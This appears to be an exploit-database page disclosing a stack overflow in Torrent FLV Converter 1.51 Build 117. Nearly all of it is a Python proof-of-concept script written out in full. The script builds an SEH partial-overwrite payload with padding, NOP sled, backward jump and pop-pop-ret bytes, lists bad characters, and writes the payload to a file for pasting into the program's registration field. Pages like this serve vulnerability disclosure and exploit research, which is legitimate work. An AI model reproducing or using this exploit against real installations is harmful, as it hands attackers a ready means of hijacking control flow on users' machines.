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Torrent FLV Converter 1.51 Build 117 Stack Overflow

Torrent FLV Converter 1.51 Build 117 Stack Overflow
Posted Jan 17, 2020
Authored by Antonio

Torrent FLV Converter version 1.51 Build 117 suffers from a stack overflow vulnerability.

tags | exploit, overflow
MD5 | dee40ab951c76470418af2c13f25fa7b

Torrent FLV Converter 1.51 Build 117 Stack Overflow

Change Mirror Download
# Exploit Title: Torrent FLV Converter 1.51 Build 117 - Stack Oveflow (SEH partial overwrite)
# Date: 2020-01-16
# Exploit Author: antonio
# Vendor Homepage: http://www.torrentrockyou.com/
# Software Link: http://www.torrentrockyou.com/download/trflvconverter.exe
# Version: 1.51 Build 117
# Tested on: Windows 7 SP1 32-bit

# Copy paste the contents of poc.txt into the
# Registration Code input field.

#!/usr/bin/python

nseh_offset = 4500
total = 5000

# badchars
# --------
# 0x00, 0x0a, 0x0d, 0x80
# 0xf0-x0ff, 0xe0-0x0ef, 0x70-0x7a
# 0x61-0x6f, 0x9a, 0x9c, 0x9e

poc = ""
poc += "A"*(nseh_offset - 53)
poc += "\x90"*53
poc += "\x7d\xcb\x90\x90" # jump backwards to NOPs: jge via SF = OF
poc += "\x7f\xb3\x45" # nseh pop pop ret: 3-byte partial overwrite

file = open("poc_seh.txt","w")
file.write(poc)
file.close()

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